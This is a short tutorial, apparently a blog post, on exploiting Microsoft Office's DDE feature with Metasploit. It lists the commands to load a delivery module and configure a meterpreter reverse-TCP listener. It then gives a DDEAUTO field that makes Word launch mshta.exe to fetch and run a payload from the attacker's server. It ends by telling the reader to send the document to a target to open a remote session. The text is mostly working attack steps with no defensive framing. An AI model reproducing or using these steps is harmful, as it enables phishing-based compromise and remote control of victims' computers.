DDE exploit also was known as dynamic data exchange, it allows data to be transferred between applications without any interaction from the user.
Hackers leveraged this method to execute malicious scripts to compromise.
It was reported to Microsoft from Sensepost, Etienne Stalmans, and Saif El-Sherei but it was not patched since many applications are using the DDE protocol. This exploit doesn’t require a macro function to be enabled.
Prerequisites – DDE exploit
Windows Machine
Microsoft Office (Any version)
KALI LINUX
wget https://raw.githubusercontent.com/realoriginal/metasploit-framework/fb3410c4f2e47a003fd9910ce78f0fc72e513674/modules/exploits/windows/script/dde_delivery.rb
Move the script to the Metasploit location
mv dde_delivery.rb /usr/share/metasploit-framework/modules/exploits/windows/
Now type msfconsole in the terminal, which launches the Metasploit framework and type reload_all to load the modules.
This exploit uses the dde function to deliver the hta payload. Now type in
use exploit/windows/dde_delivery then set the sever host using the following command set SRVHOST 192.168.177.141
we need to set a payload listener. Don’t use the port 8080 since the server port is set by default to 8080.
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.177.141
set LPORT 6708
exploit
Now copy paste the code into any word document. we used office 365 pro plus, fully updated. locate formula and you should have a small error box in the doc and then right click toggle code. paste the command in the doc between flower brackets. save the document.
{DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe “http://192.168.177.141:8080/mVg3YDU3gVQ”}
Send the document to the suspect and a meterpreter session will open. Take a look at the video